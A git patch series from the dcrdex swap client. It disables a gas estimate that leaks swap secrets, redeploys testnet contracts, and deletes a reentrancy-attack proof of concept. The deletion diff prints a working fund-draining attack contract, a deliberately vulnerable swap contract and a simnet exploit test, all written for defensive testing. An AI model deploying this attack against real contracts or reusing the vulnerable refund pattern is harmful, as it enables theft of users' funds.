+TEST_TOKEN="608060405234801561001057600080fd5b506040805180820190915260098152682a32b9ba2a37b5b2b760b91b602082015260039061003e90826101f5565b506040805180820190915260038152621514d560ea1b602082015260049061006690826101f5565b506909513ea9de0243800000600255600060208190526902544faa778090e000007f7d4921c2bc32c0110a31d16f4efb43c7a1228f1df7af765f608241dee5c62ebc8190557f59603491850c7d11499afe95b334ccfd92b48b36a15df31ef59ff5813fe370828190557f963f2e057cac0b71a4b8cff76a0e66200ffc6cc5498c1198bc1df3cb2bf751dc8190557fbc10d5a0a531ecf97938db2df6f3f5b59678ae655bd09be1d358f605f79153d481905573d12ab7cf72ccf1f3882ec99ddc53cd415635c3be9091527f5bd8dfce2dbb581d0922a094c40bab2f7d2f0ea9aaf275bf0fcc0f027a2ff91d556102b4565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061018057607f821691505b6020821081036101a057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156101f057600081815260208120601f850160051c810160208610156101cd5750805b601f850160051c820191505b818110156101ec578281556001016101d9565b5050505b505050565b81516001600160401b0381111561020e5761020e610156565b6102228161021c845461016c565b846101a6565b602080601f831160018114610257576000841561023f5750858301515b600019600386901b1c1916600185901b1785556101ec565b600085815260208120601f198616915b8281101561028657888601518255948401946001909101908401610267565b50858210156102a45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61078b806102c36000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c806370a082311161006657806370a08231146101185780638ba4cc3c1461014157806395d89b4114610156578063a9059cbb1461015e578063dd62ed3e1461017157600080fd5b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100e457806323b872dd146100f6578063313ce56714610109575b600080fd5b6100ab6101aa565b6040516100b891906105d5565b60405180910390f35b6100d46100cf36600461063f565b61023c565b60405190151581526020016100b8565b6002545b6040519081526020016100b8565b6100d4610104366004610669565b610253565b604051601281526020016100b8565b6100e86101263660046106a5565b6001600160a01b031660009081526020819052604090205490565b61015461014f36600461063f565b610302565b005b6100ab61034a565b6100d461016c36600461063f565b610359565b6100e861017f3660046106c7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101b9906106fa565b80601f01602080910402602001604051908101604052809291908181526020018280546101e5906106fa565b80156102325780601f1061020757610100808354040283529160200191610232565b820191906000526020600020905b81548152906001019060200180831161021557829003601f168201915b5050505050905090565b6000610249338484610366565b5060015b92915050565b6000610260848484610455565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102ea5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6102f78533858403610366565b506001949350505050565b80600260008282546103149190610734565b90915550506001600160a01b03821660009081526020819052604081208054839290610341908490610734565b90915550505050565b6060600480546101b9906106fa565b6000610249338484610455565b6001600160a01b0383166103c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e1565b6001600160a01b0382166104295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e1565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b6001600160a01b0383166104b95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e1565b6001600160a01b03821661051b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e1565b6001600160a01b038316600090815260208190526040902054818110156105935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e1565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906105ca908490610734565b909155505050505050565b600060208083528351808285015260005b81811015610602578581018301518582016040015282016105e6565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461063a57600080fd5b919050565b6000806040838503121561065257600080fd5b61065b83610623565b946020939093013593505050565b60008060006060848603121561067e57600080fd5b61068784610623565b925061069560208501610623565b9150604084013590509250925092565b6000602082840312156106b757600080fd5b6106c082610623565b9392505050565b600080604083850312156106da57600080fd5b6106e383610623565b91506106f160208401610623565b90509250929050565b600181811c9082168061070e57607f821691505b60208210810361072e57634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561024d57634e487b7160e01b600052601160045260246000fdfea2646970667358221220aa979a775ca051b15215b50a2b6c3bd6ed2e1fa78ba3f75335032e582027830c64736f6c63430008120033" # PASSWORD is the password used to unlock all accounts/wallets/addresses. PASSWORD="abc" diff --git a/dex/testing/eth/reentryattack/ReentryAttack.sol b/dex/testing/eth/reentryattack/ReentryAttack.sol index 877d17e1ca..67632564dc 100644 --- a/dex/testing/eth/reentryattack/ReentryAttack.sol +++ b/dex/testing/eth/reentryattack/ReentryAttack.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: BlueOak-1.0.0 -pragma solidity = 0.8.15; +pragma solidity = 0.8.18; // The arguments and returns from the swap contract. These may need to be // updated in the future if the contract changes. diff --git a/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol b/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol index baeaf2499f..f0e041641e 100644 --- a/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol +++ b/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: BlueOak-1.0.0 -pragma solidity = 0.8.15; +pragma solidity = 0.8.18; contract ETHSwap { enum State { Empty, Filled, Redeemed, Refunded } diff --git a/dex/testing/eth/reentryattack/contract.go b/dex/testing/eth/reentryattack/contract.go index f192693052..3052ea0697 100644 --- a/dex/testing/eth/reentryattack/contract.go +++ b/dex/testing/eth/reentryattack/contract.go @@ -31,7 +31,7 @@ var ( // ReentryAttackMetaData contains all meta data concerning the ReentryAttack contract. var ReentryAttackMetaData = &bind.MetaData{ ABI: "[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"allYourBase\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"areBelongToUs\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"es\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"sh\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"setUsUpTheBomb\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}]", - Bin: "0x608060405234801561001057600080fd5b50600080546001600160a01b0319163317905561029b806100326000396000f3fe60806040526004361061003f5760003560e01c8063627599ee146100595780638da5cb5b1461006e5780638f110770146100aa578063b9ce28a4146100bf575b674563918244f40000471015610057576100576100d2565b005b34801561006557600080fd5b5061005761013b565b34801561007a57600080fd5b5060005461008e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b657600080fd5b506100576100d2565b6100576100cd36600461021f565b610178565b600254600154604051633924fddb60e11b81526001600160a01b0390921691637249fbb6916101079160040190815260200190565b600060405180830381600087803b15801561012157600080fd5b505af1158015610135573d6000803e3d6000fd5b50505050565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610175573d6000803e3d6000fd5b50565b600280546001600160a01b0319166001600160a01b03868116918217909255600185905560405163ae05214760e01b8152600481018590526024810186905291831660448301529063ae0521479034906064016000604051808303818588803b1580156101e457600080fd5b505af11580156101f8573d6000803e3d6000fd5b505050505050505050565b80356001600160a01b038116811461021a57600080fd5b919050565b6000806000806080858703121561023557600080fd5b61023e85610203565b9350602085013592506040850135915061025a60608601610203565b90509295919450925056fea2646970667358221220eaf6de1ca5654a3578dcda1ff161624f98e48b3da704bfd4621c51798f4a800d64736f6c634300080f0033", + Bin: "0x608060405234801561001057600080fd5b50600080546001600160a01b0319163317905561029b806100326000396000f3fe60806040526004361061003f5760003560e01c8063627599ee146100595780638da5cb5b1461006e5780638f110770146100aa578063b9ce28a4146100bf575b674563918244f40000471015610057576100576100d2565b005b34801561006557600080fd5b5061005761013b565b34801561007a57600080fd5b5060005461008e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b657600080fd5b506100576100d2565b6100576100cd36600461021f565b610178565b600254600154604051633924fddb60e11b81526001600160a01b0390921691637249fbb6916101079160040190815260200190565b600060405180830381600087803b15801561012157600080fd5b505af1158015610135573d6000803e3d6000fd5b50505050565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610175573d6000803e3d6000fd5b50565b600280546001600160a01b0319166001600160a01b03868116918217909255600185905560405163ae05214760e01b8152600481018590526024810186905291831660448301529063ae0521479034906064016000604051808303818588803b1580156101e457600080fd5b505af11580156101f8573d6000803e3d6000fd5b505050505050505050565b80356001600160a01b038116811461021a57600080fd5b919050565b6000806000806080858703121561023557600080fd5b61023e85610203565b9350602085013592506040850135915061025a60608601610203565b90509295919450925056fea2646970667358221220d7024891f783003906c591efe08e8c0f88a6d7f6504b954a0c8dc1e669467f0e64736f6c63430008120033", } // ReentryAttackABI is the input ABI used to generate the binding from. From f0cf0a9b28118d04943be6053fe3842b748b8056 Mon Sep 17 00:00:00 2001 From: Jonathan Chappelow Date: Mon, 6 Feb 2023 16:18:04 -0600 Subject: [PATCH 2/4] disable use of estimateRedeemGas, which reveals secret --- client/asset/eth/eth.go | 16 ++++++++++++---- client/asset/eth/eth_test.go | 24 ++++++++++++++---------- 2 files changed, 26 insertions(+), 14 deletions(-) diff --git a/client/asset/eth/eth.go b/client/asset/eth/eth.go index 8701223a28..3f06c3c8dd 100644 --- a/client/asset/eth/eth.go +++ b/client/asset/eth/eth.go @@ -1898,11 +1898,14 @@ func (w *assetWallet) Redeem(form *asset.RedeemForm, feeWallet *assetWallet, non gasLimit, gasFeeCap := g.Redeem*n, form.FeeSuggestion originalFundsReserved := gasLimit * gasFeeCap - gasEst, err := w.estimateRedeemGas(w.ctx, secrets, contractVer) - if err != nil { + + /* We could get a gas estimate via RPC, but this will reveal the secret key + before submitting the redeem transaction. This is not OK for maker. + Disable for now. + + if gasEst, err := w.estimateRedeemGas(w.ctx, secrets, contractVer); err != nil { return fail(fmt.Errorf("error getting redemption estimate: %w", err)) - } - if gasEst > gasLimit { + } else if gasEst > gasLimit { // This is sticky. We only reserved so much for redemption, so accepting // a gas limit higher than anticipated could potentially mess us up. On // the other hand, we don't want to simply reject the redemption. @@ -1920,6 +1923,7 @@ func (w *assetWallet) Redeem(form *asset.RedeemForm, feeWallet *assetWallet, non w.log.Warnf("live gas estimate %d exceeded expected max value %d. using higher limit %d for redemption", gasEst, gasLimit, candidateLimit) gasLimit = candidateLimit } + */ // If the base fee is higher than the FeeSuggestion we attempt to increase // the gasFeeCap to 2*baseFee. If we don't have enough funds, we use the @@ -3714,6 +3718,10 @@ func (w *assetWallet) estimateInitGas(ctx context.Context, numSwaps int, contrac } // estimateRedeemGas checks the amount of gas that is used for the redemption. +// Only used with testing and development tools like the +// nodeclient_harness_test.go suite (GetGasEstimates, testRedeemGas, etc.). +// Never use this with a public RPC provider, especially as maker, since it +// reveals the secret keys. func (w *assetWallet) estimateRedeemGas(ctx context.Context, secrets [][32]byte, contractVer uint32) (gas uint64, err error) { return gas, w.withContractor(contractVer, func(c contractor) error { gas, err = c.estimateRedeemGas(ctx, secrets) diff --git a/client/asset/eth/eth_test.go b/client/asset/eth/eth_test.go index 8359a30bd9..d085fcdffd 100644 --- a/client/asset/eth/eth_test.go +++ b/client/asset/eth/eth_test.go @@ -1843,6 +1843,7 @@ func testRedeem(t *testing.T, assetID uint32) { addSwapToSwapMap(secretHashes[0], 1e9, dexeth.SSInitiated) // states will be reset by tests though addSwapToSwapMap(secretHashes[1], 1e9, dexeth.SSInitiated) + /* COMMENTED while estimateRedeemGas is on the $#!t list var redeemGas uint64 if assetID == BipID { redeemGas = ethGases.Redeem @@ -1850,9 +1851,9 @@ func testRedeem(t *testing.T, assetID uint32) { redeemGas = tokenGases.Redeem } - var higherGasEstimate uint64 = redeemGas * 2 * 12 / 10 // 120% of estimate - var doubleGasEstimate uint64 = (redeemGas * 2 * 2) * 10 / 11 // 200% of estimate after 10% increase - var moreThanDoubleGasEstimate uint64 = (redeemGas * 2 * 21 / 10) * 10 / 11 // > 200% of estimate after 10% increase + var higherGasEstimate uint64 = redeemGas * 2 * 12 / 10 // 120% of estimate + var doubleGasEstimate uint64 = (redeemGas * 2 * 2) * 10 / 11 // 200% of estimate after 10% increase + // var moreThanDoubleGasEstimate uint64 = (redeemGas * 2 * 21 / 10) * 10 / 11 // > 200% of estimate after 10% increase // additionalFundsNeeded calculates the amount of available funds that we be // needed to use a higher gas estimate than the original, and double the base // fee if it is higher than the server's max fee rate. @@ -1876,6 +1877,7 @@ func testRedeem(t *testing.T, assetID uint32) { return amountRequired - originalReserves } + */ var bestBlock int64 = 123 node.bestHdr = &types.Header{ @@ -1932,6 +1934,7 @@ func testRedeem(t *testing.T, assetID uint32) { FeeSuggestion: 100, }, }, + /* COMMENTED while estimateRedeemGas is on the $#!t list { name: "higher gas estimate than reserved", expectError: false, @@ -2134,6 +2137,7 @@ func testRedeem(t *testing.T, assetID uint32) { FeeSuggestion: 100, }, }, + */ { name: "not redeemable", expectError: true, @@ -2320,15 +2324,15 @@ func testRedeem(t *testing.T, assetID uint32) { // Check that gas limit in the transaction is as expected var expectedGasLimit uint64 - if test.redeemGasOverride == nil { - if assetID == BipID { - expectedGasLimit = ethGases.Redeem * uint64(len(test.form.Redemptions)) - } else { - expectedGasLimit = tokenGases.Redeem * uint64(len(test.form.Redemptions)) - } + // if test.redeemGasOverride == nil { + if assetID == BipID { + expectedGasLimit = ethGases.Redeem * uint64(len(test.form.Redemptions)) } else { - expectedGasLimit = *test.redeemGasOverride * 11 / 10 + expectedGasLimit = tokenGases.Redeem * uint64(len(test.form.Redemptions)) } + // } else { + // expectedGasLimit = *test.redeemGasOverride * 11 / 10 + // } if contractorV1.lastRedeemOpts.GasLimit != expectedGasLimit { t.Fatalf("%s: expected gas limit %d, but got %d", test.name, expectedGasLimit, contractorV1.lastRedeemOpts.GasLimit) } From 17e757f40b5caac6af144dd290857e9d2e87bc20 Mon Sep 17 00:00:00 2001 From: Jonathan Chappelow Date: Mon, 6 Feb 2023 18:46:26 -0600 Subject: [PATCH 3/4] dex/networks/eth: redeploy Goerli contracts --- dex/networks/eth/params.go | 2 +- dex/networks/eth/tokens.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dex/networks/eth/params.go b/dex/networks/eth/params.go index c45af9b585..0d31443331 100644 --- a/dex/networks/eth/params.go +++ b/dex/networks/eth/params.go @@ -48,7 +48,7 @@ var ( 0: { dex.Mainnet: common.Address{}, dex.Simnet: common.HexToAddress("0x2f68e723b8989ba1c6a9f03e42f33cb7dc9d606f"), - dex.Testnet: common.HexToAddress("0xa483b6166dA8Da6748B29Af35f96C4F9388c456C"), + dex.Testnet: common.HexToAddress("0x198463496037754564e9bea5418Bf4117Db0520C"), }, } ) diff --git a/dex/networks/eth/tokens.go b/dex/networks/eth/tokens.go index a5fd01d84f..0b84f296ae 100644 --- a/dex/networks/eth/tokens.go +++ b/dex/networks/eth/tokens.go @@ -168,7 +168,7 @@ var Tokens = map[uint32]*Token{ Address: common.HexToAddress("0x07865c6e87b9f70255377e024ace6630c1eaa37f"), SwapContracts: map[uint32]*SwapContract{ 0: { - Address: common.HexToAddress("0x9E493d3766989e701797b9371682B7b94fD8Af9c"), + Address: common.HexToAddress("0xA7Af47DB3296206eA543A82ffBF7Fc312698E6C9"), Gas: Gases{ // Results from client's GetGasEstimates. // From 132aefda20f830610e2d7d369446e28574ec4368 Mon Sep 17 00:00:00 2001 From: Jonathan Chappelow Date: Wed, 8 Feb 2023 09:26:59 -0600 Subject: [PATCH 4/4] remove reentry attack poc --- client/asset/eth/nodeclient_harness_test.go | 182 ------- dex/testing/eth/reentryattack/README.md | 10 +- .../eth/reentryattack/ReentryAttack.sol | 62 --- .../VulnerableToReentryAttack.sol | 92 ---- dex/testing/eth/reentryattack/contract.go | 510 ------------------ 5 files changed, 9 insertions(+), 847 deletions(-) delete mode 100644 dex/testing/eth/reentryattack/ReentryAttack.sol delete mode 100644 dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol delete mode 100644 dex/testing/eth/reentryattack/contract.go diff --git a/client/asset/eth/nodeclient_harness_test.go b/client/asset/eth/nodeclient_harness_test.go index 7dca91a510..352a064bab 100644 --- a/client/asset/eth/nodeclient_harness_test.go +++ b/client/asset/eth/nodeclient_harness_test.go @@ -41,7 +41,6 @@ import ( "decred.org/dcrdex/dex/encode" dexeth "decred.org/dcrdex/dex/networks/eth" swapv0 "decred.org/dcrdex/dex/networks/eth/contracts/v0" - "decred.org/dcrdex/dex/testing/eth/reentryattack" "github.com/davecgh/go-spew/spew" "github.com/ethereum/go-ethereum/accounts" "github.com/ethereum/go-ethereum/accounts/abi/bind" @@ -2189,187 +2188,6 @@ func testApproveGas(t *testing.T) { fmt.Printf("=========== gas for approve: %d ==============\n", gas) } -func TestReplayAttack(t *testing.T) { - cl, is := ethClient.(*nodeClient) - if !is { - t.Skip("TestReplayAttack not configured for RPC") - } - err := cl.unlock(pw) - if err != nil { - t.Fatal(err) - } - - txOpts, err := cl.txOpts(ctx, 1, defaultSendGasLimit*5, nil, nil) - if err != nil { - t.Fatalf("txOpts error: %v", err) - } - - cl.addSignerToOpts(txOpts) - - // Deploy the reentry attack contract. - _, _, reentryContract, err := reentryattack.DeployReentryAttack(txOpts, cl.ec) - if err != nil { - t.Fatal(err) - } - if err := waitForMined(10, false); err != nil { - t.Fatal(err) - } - - originalContractBal, err := cl.addressBalance(ctx, ethSwapContractAddr) - if err != nil { - t.Fatal(err) - } - - var secretHash [32]byte - // Make four swaps that should be locked and refundable and one that is - // soon refundable. - for i := 0; i < 5; i++ { - var secret [32]byte - copy(secret[:], encode.RandomBytes(32)) - secretHash = sha256.Sum256(secret[:]) - - if i != 4 { - inLocktime := uint64(time.Now().Add(time.Hour).Unix()) - - txOpts, err := cl.txOpts(ctx, 1, ethGases.SwapN(1), nil, nil) - if err != nil { - t.Fatalf("txOpts error: %v", err) - } - _, err = simnetContractor.initiate(txOpts, []*asset.Contract{newContract(inLocktime, secretHash, 1)}) - if err != nil { - t.Fatalf("unable to initiate swap: %v ", err) - } - - if err := waitForMined(10, false); err != nil { - t.Fatal(err) - } - continue - } - - intermediateContractVal, _ := cl.addressBalance(ctx, ethSwapContractAddr) - t.Logf("intermediate contract value %d", dexeth.WeiToGwei(intermediateContractVal)) - - inLocktime := time.Now().Add(-1 * time.Second).Unix() - // Set some variables in the contract used for the exploit. This - // will fail (silently) due to require(msg.origin == msg.sender) - // in the real contract. - txOpts, err := cl.txOpts(ctx, 1, defaultSendGasLimit*5, nil, nil) - if err != nil { - t.Fatalf("txOpts error: %v", err) - } - _, err = reentryContract.SetUsUpTheBomb(txOpts, ethSwapContractAddr, secretHash, big.NewInt(inLocktime), participantAddr) - if err != nil { - t.Fatalf("unable to set up the bomb: %v", err) - } - if err = waitForMined(10, false); err != nil { - t.Fatal(err) - } - } - - txOpts, err = cl.txOpts(ctx, 1, defaultSendGasLimit*5, nil, nil) - if err != nil { - t.Fatalf("txOpts error: %v", err) - } - txOpts.Value = nil - // Siphon funds into the contract. - tx, err := reentryContract.AllYourBase(txOpts) - if err != nil { - t.Fatalf("unable to get all your base: %v", err) - } - spew.Dump(tx) - if err = waitForMined(10, false); err != nil { - t.Fatal(err) - } - receipt, err := waitForReceipt(ethClient, tx) - if err != nil { - t.Fatal(err) - } - spew.Dump(receipt) - - if err = waitForMined(10, false); err != nil { - t.Fatal(err) - } - - originalAcctBal, err := cl.addressBalance(ctx, simnetAddr) - if err != nil { - t.Fatal(err) - } - - // Send the siphoned funds to us. - txOpts, err = cl.txOpts(ctx, 1, defaultSendGasLimit*5, nil, nil) - if err != nil { - t.Fatalf("txOpts error: %v", err) - } - tx, err = reentryContract.AreBelongToUs(txOpts) - if err != nil { - t.Fatalf("unable to are belong to us: %v", err) - } - if err = waitForMined(10, false); err != nil { - t.Fatal(err) - } - receipt, err = waitForReceipt(ethClient, tx) - if err != nil { - t.Fatal(err) - } - - gasPrice, err := feesAtBlk(ctx, cl, receipt.BlockNumber.Int64()) - if err != nil { - t.Fatalf("feesAtBlk error: %v", err) - } - bigGasUsed := new(big.Int).SetUint64(receipt.GasUsed) - txFee := new(big.Int).Mul(bigGasUsed, gasPrice) - wantBal := new(big.Int).Sub(originalAcctBal, txFee) - - acctBal, err := cl.addressBalance(ctx, simnetAddr) - if err != nil { - t.Fatal(err) - } - - // If the exploit worked, the test will fail here, with 4 ether we - // shouldn't be able to touch drained from the contract. - delta := new(big.Int).Sub(originalAcctBal, acctBal) - wantDelta := new(big.Int).Sub(originalAcctBal, wantBal) - diff := new(big.Int).Abs(new(big.Int).Sub(wantDelta, delta)) - if dexeth.WeiToGwei(diff) > receipt.GasUsed { // See TestContract notes. - delta := new(big.Int).Sub(originalAcctBal, acctBal) - wantDelta := new(big.Int).Sub(originalAcctBal, wantBal) - diff := new(big.Int).Sub(wantDelta, delta) - t.Logf("unexpected balance change of account. original = %d, final = %d, expected %d", - dexeth.WeiToGwei(originalAcctBal), dexeth.WeiToGwei(acctBal), dexeth.WeiToGwei(wantBal)) - t.Fatalf("actual change = %d, expected change = %d, a difference of %d", - dexeth.WeiToGwei(delta), dexeth.WeiToGwei(wantDelta), dexeth.WeiToGwei(diff)) - } - - // The exploit failed and status should be SSNone because initiation also - // failed. - swap, err := simnetContractor.swap(ctx, secretHash) - if err != nil { - t.Fatal(err) - } - state := dexeth.SwapStep(swap.State) - if state != dexeth.SSNone { - t.Fatalf("unexpected swap state: want %s got %s", dexeth.SSNone, state) - } - - // The contract should hold four more ether because initiation of one - // swap failed. - contractBal, err := cl.addressBalance(ctx, ethSwapContractAddr) - if err != nil { - t.Fatal(err) - } - - wantBal = new(big.Int).Add(originalContractBal, dexeth.GweiToWei(4)) - balDiff := new(big.Int).Abs(new(big.Int).Sub(contractBal, wantBal)) - if dexeth.WeiToGwei(balDiff) > receipt.GasUsed { - wantDiff := new(big.Int).Sub(originalContractBal, wantBal) - actualDiff := new(big.Int).Sub(originalContractBal, contractBal) - t.Logf("balance before = %d, expected balance after = %d, actual balance after = %d", - dexeth.WeiToGwei(originalContractBal), dexeth.WeiToGwei(wantBal), dexeth.WeiToGwei(contractBal)) - t.Fatalf("wanted diff = %d, actual diff = %d, a difference of %d", - dexeth.WeiToGwei(wantDiff), dexeth.WeiToGwei(actualDiff), dexeth.WeiToGwei(balDiff)) - } -} - // This test can be used to test that the resubmission of ETH redemptions after // they have been overridden by another transaction works properly. Just replace // the app seed and nonce. Also uncomment the lines in the function which will diff --git a/dex/testing/eth/reentryattack/README.md b/dex/testing/eth/reentryattack/README.md index 41f940bb76..c1ceeb9393 100644 --- a/dex/testing/eth/reentryattack/README.md +++ b/dex/testing/eth/reentryattack/README.md @@ -1,4 +1,12 @@ -## Reentry Contract Creation +## Reentry Attack Proof-of-Concept and Avoidance + +The proof-of-concept Solidity contracts are no longer in the repository, but +they may be found at the following past revisions: + +- https://github.com/decred/dcrdex/blob/5632a241faaa1d0ef25505731284337cbd29096d/dex/testing/eth/reentryattack/ReentryAttack.sol +- https://github.com/decred/dcrdex/blob/5632a241faaa1d0ef25505731284337cbd29096d/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol + +## Contract Creation Have `solc` and `abigen` installed on your system and run from this directory: diff --git a/dex/testing/eth/reentryattack/ReentryAttack.sol b/dex/testing/eth/reentryattack/ReentryAttack.sol deleted file mode 100644 index 67632564dc..0000000000 --- a/dex/testing/eth/reentryattack/ReentryAttack.sol +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: BlueOak-1.0.0 -pragma solidity = 0.8.18; - -// The arguments and returns from the swap contract. These may need to be -// updated in the future if the contract changes. -interface ethswap { - function initiate(uint refundTimestamp, bytes32 secretHash, address participant) payable external; - function refund(bytes32 secretHash) external; -} - -// ReentryAttack is able to perform a reetry attack to siphon all funds from a -// vulnerable dex contract. -contract ReentryAttack { - - address public owner; - bytes32 secretHash; - ethswap swapper; - - constructor() { - owner = msg.sender; - } - - // Set up variables used in the attack and initiate a swap. - function setUsUpTheBomb(address es, bytes32 sh, uint refundTimestamp, address participant) - public - payable - { - swapper = ethswap(es); - secretHash = sh; - // Have the contract initiate to make it msg.sender. - swapper.initiate{value: msg.value}(refundTimestamp, secretHash, participant); - } - - // Refund a swap after it's locktime has passed. - function allYourBase() - public - { - swapper.refund(secretHash); - } - - // fallback is called EVERY time this contract is sent funds. When the dex - // swap tranfers us funds, for instance during refund, we are able to call - // refund again before that method returns. If the swap contract does not - // check the state properly, does not deny contracts from using, and does - // not throw on a certain about of gas usage, we are able to get unintended - // funds belonging to the contract's address. - fallback () - external - payable - { - if (address(this).balance < 5 ether) { - allYourBase(); - } - } - - // Send all funds back to the owner. - function areBelongToUs() - public - { - payable(owner).transfer(address(this).balance); - } -} diff --git a/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol b/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol deleted file mode 100644 index f0e041641e..0000000000 --- a/dex/testing/eth/reentryattack/VulnerableToReentryAttack.sol +++ /dev/null @@ -1,92 +0,0 @@ -// SPDX-License-Identifier: BlueOak-1.0.0 -pragma solidity = 0.8.18; -contract ETHSwap { - enum State { Empty, Filled, Redeemed, Refunded } - - struct Swap { - uint initBlockNumber; - uint refundBlockTimestamp; - bytes32 secretHash; - bytes32 secret; - address initiator; - address participant; - uint256 value; - State state; - } - - mapping(bytes32 => Swap) public swaps; - - constructor() {} - - modifier isRefundable(bytes32 secretHash, address refunder) { - require(swaps[secretHash].state == State.Filled); - require(swaps[secretHash].initiator == refunder); - uint refundBlockTimestamp = swaps[secretHash].refundBlockTimestamp; - require(block.timestamp >= refundBlockTimestamp); - _; - } - - modifier isRedeemable(bytes32 secretHash, bytes32 secret, address redeemer) { - require(swaps[secretHash].state == State.Filled); - require(swaps[secretHash].participant == redeemer); - require(sha256(abi.encodePacked(secret)) == secretHash); - _; - } - - modifier isNotInitiated(bytes32 secretHash) { - require(swaps[secretHash].state == State.Empty); - _; - } - - modifier hasNoNilValues(uint refundTime) { - require(msg.value > 0); - require(refundTime > 0); - _; - } - - modifier senderIsOrigin() { - require(tx.origin == msg.sender); - _; - } - - function swap(bytes32 secretHash) - public view returns(Swap memory) - { - return swaps[secretHash]; - } - - function initiate(uint refundTimestamp, bytes32 secretHash, address participant) - public - payable - hasNoNilValues(refundTimestamp) - isNotInitiated(secretHash) - { - swaps[secretHash].initBlockNumber = block.number; - swaps[secretHash].refundBlockTimestamp = refundTimestamp; - swaps[secretHash].secretHash = secretHash; - swaps[secretHash].initiator = msg.sender; - swaps[secretHash].participant = participant; - swaps[secretHash].value = msg.value; - swaps[secretHash].state = State.Filled; - } - - function redeem(bytes32 secret, bytes32 secretHash) - public - senderIsOrigin() - isRedeemable(secretHash, secret, msg.sender) - { - swaps[secretHash].state = State.Redeemed; - (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); - require(ok == true); - swaps[secretHash].secret = secret; - } - - function refund(bytes32 secretHash) - public - isRefundable(secretHash, msg.sender) - { - (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); - require(ok == true); - swaps[secretHash].state = State.Refunded; - } -} diff --git a/dex/testing/eth/reentryattack/contract.go b/dex/testing/eth/reentryattack/contract.go deleted file mode 100644 index 3052ea0697..0000000000 --- a/dex/testing/eth/reentryattack/contract.go +++ /dev/null @@ -1,510 +0,0 @@ -// Code generated - DO NOT EDIT. -// This file is a generated binding and any manual changes will be lost. - -package reentryattack - -import ( - "errors" - "math/big" - "strings" - - ethereum "github.com/ethereum/go-ethereum" - "github.com/ethereum/go-ethereum/accounts/abi" - "github.com/ethereum/go-ethereum/accounts/abi/bind" - "github.com/ethereum/go-ethereum/common" - "github.com/ethereum/go-ethereum/core/types" - "github.com/ethereum/go-ethereum/event" -) - -// Reference imports to suppress errors if they are not otherwise used. -var ( - _ = errors.New - _ = big.NewInt - _ = strings.NewReader - _ = ethereum.NotFound - _ = bind.Bind - _ = common.Big1 - _ = types.BloomLookup - _ = event.NewSubscription -) - -// ReentryAttackMetaData contains all meta data concerning the ReentryAttack contract. -var ReentryAttackMetaData = &bind.MetaData{ - ABI: 